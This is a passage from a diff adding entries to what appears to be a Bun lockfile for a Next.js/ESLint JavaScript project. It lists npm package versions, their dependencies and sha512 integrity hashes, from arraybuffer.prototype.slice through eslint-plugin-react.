["arraybuffer.prototype.slice@1.0.4", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "call-bind": "^1.0.8", "define-properties": "^1.2.1", "es-abstract": "^1.23.5", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.6", "is-array-buffer": "^3.0.4" } }, "sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ=="], + + "ast-types-flow": ["ast-types-flow@0.0.8", "", {}, "sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ=="], + + "async-function": ["async-function@1.0.0", "", {}, "sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA=="], + + "available-typed-arrays": ["available-typed-arrays@1.0.7", "", { "dependencies": { "possible-typed-array-names": "^1.0.0" } }, "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ=="], + + "aws-ssl-profiles": ["aws-ssl-profiles@1.1.2", "", {}, "sha512-NZKeq9AfyQvEeNlN0zSYAaWrmBffJh3IELMZfRpJVWgrpEbtEpnjvzqBPf+mxoI287JohRDoa+/nsfqqiZmF6g=="], + + "axe-core": ["axe-core@4.11.1", "", {}, "sha512-BASOg+YwO2C+346x3LZOeoovTIoTrRqEsqMa6fmfAV0P+U9mFr9NsyOEpiYvFjbc64NMrSswhV50WdXzdb/Z5A=="], + + "axobject-query": ["axobject-query@4.1.0", "", {}, "sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ=="], + + "balanced-match": ["balanced-match@1.0.2", "", {}, "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="], + + "bcryptjs": ["bcryptjs@3.0.3", "", { "bin": { "bcrypt": "bin/bcrypt" } }, "sha512-GlF5wPWnSa/X5LKM1o0wz0suXIINz1iHRLvTS+sLyi7XPbe5ycmYI3DlZqVGZZtDgl4DmasFg7gOB3JYbphV5g=="], + + "binary-extensions": ["binary-extensions@2.3.0", "", {}, "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw=="], + + "brace-expansion": ["brace-expansion@1.1.12", "", { "dependencies": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" } }, "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg=="], + + "braces": ["braces@3.0.3", "", { "dependencies": { "fill-range": "^7.1.1" } }, "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA=="], + + "busboy": ["busboy@1.6.0", "", { "dependencies": { "streamsearch": "^1.1.0" } }, "sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA=="], + + "c12": ["c12@3.1.0", "", { "dependencies": { "chokidar": "^4.0.3", "confbox": "^0.2.2", "defu": "^6.1.4", "dotenv": "^16.6.1", "exsolve": "^1.0.7", "giget": "^2.0.0", "jiti": "^2.4.2", "ohash": "^2.0.11", "pathe": "^2.0.3", "perfect-debounce": "^1.0.0", "pkg-types": "^2.2.0", "rc9": "^2.1.2" }, "peerDependencies": { "magicast": "^0.3.5" }, "optionalPeers": ["magicast"] }, "sha512-uWoS8OU1MEIsOv8p/5a82c3H31LsWVR5qiyXVfBNOzfffjUWtPnhAb4BYI2uG2HfGmZmFjCtui5XNWaps+iFuw=="], + + "call-bind": ["call-bind@1.0.8", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.0", "es-define-property": "^1.0.0", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.2" } }, "sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww=="], + + "call-bind-apply-helpers": ["call-bind-apply-helpers@1.0.2", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2" } }, "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ=="], + + "call-bound": ["call-bound@1.0.4", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.2", "get-intrinsic": "^1.3.0" } }, "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg=="], + + "callsites": ["callsites@3.1.0", "", {}, "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ=="], + + "camelcase": ["camelcase@5.3.1", "", {}, "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg=="], + + "camelcase-css": ["camelcase-css@2.0.1", "", {}, "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA=="], + + "caniuse-lite": ["caniuse-lite@1.0.30001774", "", {}, "sha512-DDdwPGz99nmIEv216hKSgLD+D4ikHQHjBC/seF98N9CPqRX4M5mSxT9eTV6oyisnJcuzxtZy4n17yKKQYmYQOA=="], + + "chalk": ["chalk@4.1.2", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="], + + "chevrotain": ["chevrotain@10.5.0", "", { "dependencies": { "@chevrotain/cst-dts-gen": "10.5.0", "@chevrotain/gast": "10.5.0", "@chevrotain/types": "10.5.0", "@chevrotain/utils": "10.5.0", "lodash": "4.17.21", "regexp-to-ast": "0.5.0" } }, "sha512-Pkv5rBY3+CsHOYfV5g/Vs5JY9WTHHDEKOlohI2XeygaZhUeqhAlldZ8Hz9cRmxu709bvS08YzxHdTPHhffc13A=="], + + "chokidar": ["chokidar@3.6.0", "", { "dependencies": { "anymatch": "~3.1.2", "braces": "~3.0.2", "glob-parent": "~5.1.2", "is-binary-path": "~2.1.0", "is-glob": "~4.0.1", "normalize-path": "~3.0.0", "readdirp": "~3.6.0" }, "optionalDependencies": { "fsevents": "~2.3.2" } }, "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw=="], + + "citty": ["citty@0.1.6", "", { "dependencies": { "consola": "^3.2.3" } }, "sha512-tskPPKEs8D2KPafUypv2gxwJP8h/OaJmC82QQGGDQcHvXX43xF2VDACcJVmZ0EuSxkpO9Kc4MlrA3q0+FG58AQ=="], + + "class-variance-authority": ["class-variance-authority@0.7.1", "", { "dependencies": { "clsx": "^2.1.1" } }, "sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg=="], + + "client-only": ["client-only@0.0.1", "", {}, "sha512-IV3Ou0jSMzZrd3pZ48nLkT9DA7Ag1pnPzaiQhpW7c3RbcqqzvzzVu+L8gfqMp/8IM2MQtSiqaCxrrcfu8I8rMA=="], + + "cliui": ["cliui@6.0.0", "", { "dependencies": { "string-width": "^4.2.0", "strip-ansi": "^6.0.0", "wrap-ansi": "^6.2.0" } }, "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ=="], + + "clsx": ["clsx@2.1.1", "", {}, "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA=="], + + "color-convert": ["color-convert@2.0.1", "", { "dependencies": { "color-name": "~1.1.4" } }, "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ=="], + + "color-name": ["color-name@1.1.4", "", {}, "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="], + + "commander": ["commander@4.1.1", "", {}, "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA=="], + + "concat-map": ["concat-map@0.0.1", "", {}, "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg=="], + + "confbox": ["confbox@0.2.4", "", {}, "sha512-ysOGlgTFbN2/Y6Cg3Iye8YKulHw+R2fNXHrgSmXISQdMnomY6eNDprVdW9R5xBguEqI954+S6709UyiO7B+6OQ=="], + + "consola": ["consola@3.4.2", "", {}, "sha512-5IKcdX0nnYavi6G7TtOhwkYzyjfJlatbjMjuLSfE2kYT5pMDOilZ4OvMhi637CcDICTmz3wARPoyhqyX1Y+XvA=="], + + "cookie": ["cookie@0.7.2", "", {}, "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w=="], + + "cross-spawn": ["cross-spawn@7.0.6", "", { "dependencies": { "path-key": "^3.1.0", "shebang-command": "^2.0.0", "which": "^2.0.1" } }, "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA=="], + + "cssesc": ["cssesc@3.0.0", "", { "bin": "bin/cssesc" }, "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg=="], + + "csstype": ["csstype@3.2.3", "", {}, "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ=="], + + "damerau-levenshtein": ["damerau-levenshtein@1.0.8", "", {}, "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA=="], + + "data-view-buffer": ["data-view-buffer@1.0.2", "", { "dependencies": { "call-bound": "^1.0.3", "es-errors": "^1.3.0", "is-data-view": "^1.0.2" } }, "sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ=="], + + "data-view-byte-length": ["data-view-byte-length@1.0.2", "", { "dependencies": { "call-bound": "^1.0.3", "es-errors": "^1.3.0", "is-data-view": "^1.0.2" } }, "sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ=="], + + "data-view-byte-offset": ["data-view-byte-offset@1.0.1", "", { "dependencies": { "call-bound": "^1.0.2", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ=="], + + "date-fns": ["date-fns@4.1.0", "", {}, "sha512-Ukq0owbQXxa/U3EGtsdVBkR1w7KOQ5gIBqdH2hkvknzZPYvBxb/aa6E8L7tmjFtkwZBu3UXBbjIgPo/Ez4xaNg=="], + + "debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], + + "decamelize": ["decamelize@1.2.0", "", {}, "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA=="], + + "deep-is": ["deep-is@0.1.4", "", {}, "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ=="], + + "deepmerge-ts": ["deepmerge-ts@7.1.5", "", {}, "sha512-HOJkrhaYsweh+W+e74Yn7YStZOilkoPb6fycpwNLKzSPtruFs48nYis0zy5yJz1+ktUhHxoRDJ27RQAWLIJVJw=="], + + "define-data-property": ["define-data-property@1.1.4", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "gopd": "^1.0.1" } }, "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A=="], + + "define-properties": ["define-properties@1.2.1", "", { "dependencies": { "define-data-property": "^1.0.1", "has-property-descriptors": "^1.0.0", "object-keys": "^1.1.1" } }, "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg=="], + + "defu": ["defu@6.1.4", "", {}, "sha512-mEQCMmwJu317oSz8CwdIOdwf3xMif1ttiM8LTufzc3g6kR+9Pe236twL8j3IYT1F7GfRgGcW6MWxzZjLIkuHIg=="], + + "denque": ["denque@2.1.0", "", {}, "sha512-HVQE3AAb/pxF8fQAoiqpvg9i3evqug3hoiwakOyZAwJm+6vZehbkYXZ0l4JxS+I3QxM97v5aaRNhj8v5oBhekw=="], + + "destr": ["destr@2.0.5", "", {}, "sha512-ugFTXCtDZunbzasqBxrK93Ik/DRYsO6S/fedkWEMKqt04xZ4csmnmwGDBAb07QWNaGMAmnTIemsYZCksjATwsA=="], + + "didyoumean": ["didyoumean@1.2.2", "", {}, "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw=="], + + "dijkstrajs": ["dijkstrajs@1.0.3", "", {}, "sha512-qiSlmBq9+BCdCA/L46dw8Uy93mloxsPSbwnm5yrKn2vMPiy8KyAskTF6zuV/j5BMsmOGZDPs7KjU+mjb670kfA=="], + + "dlv": ["dlv@1.1.3", "", {}, "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA=="], + + "doctrine": ["doctrine@3.0.0", "", { "dependencies": { "esutils": "^2.0.2" } }, "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w=="], + + "dotenv": ["dotenv@16.6.1", "", {}, "sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow=="], + + "dunder-proto": ["dunder-proto@1.0.1", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.1", "es-errors": "^1.3.0", "gopd": "^1.2.0" } }, "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A=="], + + "eastasianwidth": ["eastasianwidth@0.2.0", "", {}, "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA=="], + + "effect": ["effect@3.18.4", "", { "dependencies": { "@standard-schema/spec": "^1.0.0", "fast-check": "^3.23.1" } }, "sha512-b1LXQJLe9D11wfnOKAk3PKxuqYshQ0Heez+y5pnkd3jLj1yx9QhM72zZ9uUrOQyNvrs2GZZd/3maL0ZV18YuDA=="], + + "emoji-regex": ["emoji-regex@9.2.2", "", {}, "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg=="], + + "empathic": ["empathic@2.0.0", "", {}, "sha512-i6UzDscO/XfAcNYD75CfICkmfLedpyPDdozrLMmQc5ORaQcdMoc21OnlEylMIqI7U8eniKrPMxxtj8k0vhmJhA=="], + + "es-abstract": ["es-abstract@1.24.1", "", { "dependencies": { "array-buffer-byte-length": "^1.0.2", "arraybuffer.prototype.slice": "^1.0.4", "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.8", "call-bound": "^1.0.4", "data-view-buffer": "^1.0.2", "data-view-byte-length": "^1.0.2", "data-view-byte-offset": "^1.0.1", "es-define-property": "^1.0.1", "es-errors": "^1.3.0", "es-object-atoms": "^1.1.1", "es-set-tostringtag": "^2.1.0", "es-to-primitive": "^1.3.0", "function.prototype.name": "^1.1.8", "get-intrinsic": "^1.3.0", "get-proto": "^1.0.1", "get-symbol-description": "^1.1.0", "globalthis": "^1.0.4", "gopd": "^1.2.0", "has-property-descriptors": "^1.0.2", "has-proto": "^1.2.0", "has-symbols": "^1.1.0", "hasown": "^2.0.2", "internal-slot": "^1.1.0", "is-array-buffer": "^3.0.5", "is-callable": "^1.2.7", "is-data-view": "^1.0.2", "is-negative-zero": "^2.0.3", "is-regex": "^1.2.1", "is-set": "^2.0.3", "is-shared-array-buffer": "^1.0.4", "is-string": "^1.1.1", "is-typed-array": "^1.1.15", "is-weakref": "^1.1.1", "math-intrinsics": "^1.1.0", "object-inspect": "^1.13.4", "object-keys": "^1.1.1", "object.assign": "^4.1.7", "own-keys": "^1.0.1", "regexp.prototype.flags": "^1.5.4", "safe-array-concat": "^1.1.3", "safe-push-apply": "^1.0.0", "safe-regex-test": "^1.1.0", "set-proto": "^1.0.0", "stop-iteration-iterator": "^1.1.0", "string.prototype.trim": "^1.2.10", "string.prototype.trimend": "^1.0.9", "string.prototype.trimstart": "^1.0.8", "typed-array-buffer": "^1.0.3", "typed-array-byte-length": "^1.0.3", "typed-array-byte-offset": "^1.0.4", "typed-array-length": "^1.0.7", "unbox-primitive": "^1.1.0", "which-typed-array": "^1.1.19" } }, "sha512-zHXBLhP+QehSSbsS9Pt23Gg964240DPd6QCf8WpkqEXxQ7fhdZzYsocOr5u7apWonsS5EjZDmTF+/slGMyasvw=="], + + "es-define-property": ["es-define-property@1.0.1", "", {}, "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g=="], + + "es-errors": ["es-errors@1.3.0", "", {}, "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw=="], + + "es-iterator-helpers": ["es-iterator-helpers@1.2.2", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.4", "define-properties": "^1.2.1", "es-abstract": "^1.24.1", "es-errors": "^1.3.0", "es-set-tostringtag": "^2.1.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.3.0", "globalthis": "^1.0.4", "gopd": "^1.2.0", "has-property-descriptors": "^1.0.2", "has-proto": "^1.2.0", "has-symbols": "^1.1.0", "internal-slot": "^1.1.0", "iterator.prototype": "^1.1.5", "safe-array-concat": "^1.1.3" } }, "sha512-BrUQ0cPTB/IwXj23HtwHjS9n7O4h9FX94b4xc5zlTHxeLgTAdzYUDyy6KdExAl9lbN5rtfe44xpjpmj9grxs5w=="], + + "es-object-atoms": ["es-object-atoms@1.1.1", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA=="], + + "es-set-tostringtag": ["es-set-tostringtag@2.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "get-intrinsic": "^1.2.6", "has-tostringtag": "^1.0.2", "hasown": "^2.0.2" } }, "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA=="], + + "es-shim-unscopables": ["es-shim-unscopables@1.1.0", "", { "dependencies": { "hasown": "^2.0.2" } }, "sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw=="], + + "es-to-primitive": ["es-to-primitive@1.3.0", "", { "dependencies": { "is-callable": "^1.2.7", "is-date-object": "^1.0.5", "is-symbol": "^1.0.4" } }, "sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g=="], + + "esbuild": ["esbuild@0.27.3", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.27.3", "@esbuild/android-arm": "0.27.3", "@esbuild/android-arm64": "0.27.3", "@esbuild/android-x64": "0.27.3", "@esbuild/darwin-arm64": "0.27.3", "@esbuild/darwin-x64": "0.27.3", "@esbuild/freebsd-arm64": "0.27.3", "@esbuild/freebsd-x64": "0.27.3", "@esbuild/linux-arm": "0.27.3", "@esbuild/linux-arm64": "0.27.3", "@esbuild/linux-ia32": "0.27.3", "@esbuild/linux-loong64": "0.27.3", "@esbuild/linux-mips64el": "0.27.3", "@esbuild/linux-ppc64": "0.27.3", "@esbuild/linux-riscv64": "0.27.3", "@esbuild/linux-s390x": "0.27.3", "@esbuild/linux-x64": "0.27.3", "@esbuild/netbsd-arm64": "0.27.3", "@esbuild/netbsd-x64": "0.27.3", "@esbuild/openbsd-arm64": "0.27.3", "@esbuild/openbsd-x64": "0.27.3", "@esbuild/openharmony-arm64": "0.27.3", "@esbuild/sunos-x64": "0.27.3", "@esbuild/win32-arm64": "0.27.3", "@esbuild/win32-ia32": "0.27.3", "@esbuild/win32-x64": "0.27.3" }, "bin": "bin/esbuild" }, "sha512-8VwMnyGCONIs6cWue2IdpHxHnAjzxnw2Zr7MkVxB2vjmQ2ivqGFb4LEG3SMnv0Gb2F/G/2yA8zUaiL1gywDCCg=="], + + "escape-string-regexp": ["escape-string-regexp@4.0.0", "", {}, "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA=="], + + "eslint": ["eslint@8.57.1", "", { "dependencies": { "@eslint-community/eslint-utils": "^4.2.0", "@eslint-community/regexpp": "^4.6.1", "@eslint/eslintrc": "^2.1.4", "@eslint/js": "8.57.1", "@humanwhocodes/config-array": "^0.13.0", "@humanwhocodes/module-importer": "^1.0.1", "@nodelib/fs.walk": "^1.2.8", "@ungap/structured-clone": "^1.2.0", "ajv": "^6.12.4", "chalk": "^4.0.0", "cross-spawn": "^7.0.2", "debug": "^4.3.2", "doctrine": "^3.0.0", "escape-string-regexp": "^4.0.0", "eslint-scope": "^7.2.2", "eslint-visitor-keys": "^3.4.3", "espree": "^9.6.1", "esquery": "^1.4.2", "esutils": "^2.0.2", "fast-deep-equal": "^3.1.3", "file-entry-cache": "^6.0.1", "find-up": "^5.0.0", "glob-parent": "^6.0.2", "globals": "^13.19.0", "graphemer": "^1.4.0", "ignore": "^5.2.0", "imurmurhash": "^0.1.4", "is-glob": "^4.0.0", "is-path-inside": "^3.0.3", "js-yaml": "^4.1.0", "json-stable-stringify-without-jsonify": "^1.0.1", "levn": "^0.4.1", "lodash.merge": "^4.6.2", "minimatch": "^3.1.2", "natural-compare": "^1.4.0", "optionator": "^0.9.3", "strip-ansi": "^6.0.1", "text-table": "^0.2.0" }, "bin": "bin/eslint.js" }, "sha512-ypowyDxpVSYpkXr9WPv2PAZCtNip1Mv5KTW0SCurXv/9iOpcrH9PaqUElksqEB6pChqHGDRCFTyrZlGhnLNGiA=="], + + "eslint-config-next": ["eslint-config-next@14.2.35", "", { "dependencies": { "@next/eslint-plugin-next": "14.2.35", "@rushstack/eslint-patch": "^1.3.3", "@typescript-eslint/eslint-plugin": "^5.4.2 || ^6.0.0 || ^7.0.0 || ^8.0.0", "@typescript-eslint/parser": "^5.4.2 || ^6.0.0 || ^7.0.0 || ^8.0.0", "eslint-import-resolver-node": "^0.3.6", "eslint-import-resolver-typescript": "^3.5.2", "eslint-plugin-import": "^2.28.1", "eslint-plugin-jsx-a11y": "^6.7.1", "eslint-plugin-react": "^7.33.2", "eslint-plugin-react-hooks": "^4.5.0 || 5.0.0-canary-7118f5dd7-20230705" }, "peerDependencies": { "eslint": "^7.23.0 || ^8.0.0", "typescript": ">=3.3.1" } }, "sha512-BpLsv01UisH193WyT/1lpHqq5iJ/Orfz9h/NOOlAmTUq4GY349PextQ62K4XpnaM9supeiEn3TaOTeQO07gURg=="], + + "eslint-import-resolver-node": ["eslint-import-resolver-node@0.3.9", "", { "dependencies": { "debug": "^3.2.7", "is-core-module": "^2.13.0", "resolve": "^1.22.4" } }, "sha512-WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g=="], + + "eslint-import-resolver-typescript": ["eslint-import-resolver-typescript@3.10.1", "", { "dependencies": { "@nolyfill/is-core-module": "1.0.39", "debug": "^4.4.0", "get-tsconfig": "^4.10.0", "is-bun-module": "^2.0.0", "stable-hash": "^0.0.5", "tinyglobby": "^0.2.13", "unrs-resolver": "^1.6.2" }, "peerDependencies": { "eslint": "*", "eslint-plugin-import": "*", "eslint-plugin-import-x": "*" }, "optionalPeers": ["eslint-plugin-import-x"] }, "sha512-A1rHYb06zjMGAxdLSkN2fXPBwuSaQ0iO5M/hdyS0Ajj1VBaRp0sPD3dn1FhME3c/JluGFbwSxyCfqdSbtQLAHQ=="], + + "eslint-module-utils": ["eslint-module-utils@2.12.1", "", { "dependencies": { "debug": "^3.2.7" } }, "sha512-L8jSWTze7K2mTg0vos/RuLRS5soomksDPoJLXIslC7c8Wmut3bx7CPpJijDcBZtxQ5lrbUdM+s0OlNbz0DCDNw=="], + + "eslint-plugin-import": ["eslint-plugin-import@2.32.0", "", { "dependencies": { "@rtsao/scc": "^1.1.0", "array-includes": "^3.1.9", "array.prototype.findlastindex": "^1.2.6", "array.prototype.flat": "^1.3.3", "array.prototype.flatmap": "^1.3.3", "debug": "^3.2.7", "doctrine": "^2.1.0", "eslint-import-resolver-node": "^0.3.9", "eslint-module-utils": "^2.12.1", "hasown": "^2.0.2", "is-core-module": "^2.16.1", "is-glob": "^4.0.3", "minimatch": "^3.1.2", "object.fromentries": "^2.0.8", "object.groupby": "^1.0.3", "object.values": "^1.2.1", "semver": "^6.3.1", "string.prototype.trimend": "^1.0.9", "tsconfig-paths": "^3.15.0" }, "peerDependencies": { "eslint": "^2 || ^3 || ^4 || ^5 || ^6 || ^7.2.0 || ^8 || ^9" } }, "sha512-whOE1HFo/qJDyX4SnXzP4N6zOWn79WhnCUY/iDR0mPfQZO8wcYE4JClzI2oZrhBnnMUCBCHZhO6VQyoBU95mZA=="], + + "eslint-plugin-jsx-a11y": ["eslint-plugin-jsx-a11y@6.10.2", "", { "dependencies": { "aria-query": "^5.3.2", "array-includes": "^3.1.8", "array.prototype.flatmap": "^1.3.2", "ast-types-flow": "^0.0.8", "axe-core": "^4.10.0", "axobject-query": "^4.1.0", "damerau-levenshtein": "^1.0.8", "emoji-regex": "^9.2.2", "hasown": "^2.0.2", "jsx-ast-utils": "^3.3.5", "language-tags": "^1.0.9", "minimatch": "^3.1.2", "object.fromentries": "^2.0.8", "safe-regex-test": "^1.0.3", "string.prototype.includes": "^2.0.1" }, "peerDependencies": { "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9" } }, "sha512-scB3nz4WmG75pV8+3eRUQOHZlNSUhFNq37xnpgRkCCELU3XMvXAxLk1eqWWyE22Ki4Q01Fnsw9BA3cJHDPgn2Q=="], + + "eslint-plugin-react": ["eslint-plugin-react@7.37.5", "", { "dependencies": { "array-includes": "^3.1.8", "array.prototype.findlast": "^1.2.5", "array.prototype.flatmap": "^1.3.3", "array.prototype.tosorted": "^1.1.4", "doctrine": "^2.1.0", "es-iterator-helpers": "^1.2.1", "estraverse": "^5.3.0", "hasown": "^2.0.2", "jsx-ast-utils": "^2.4.1 || ^3.0.0", "minimatch": "^3.1.2", "object.entries": "^1.1.9", 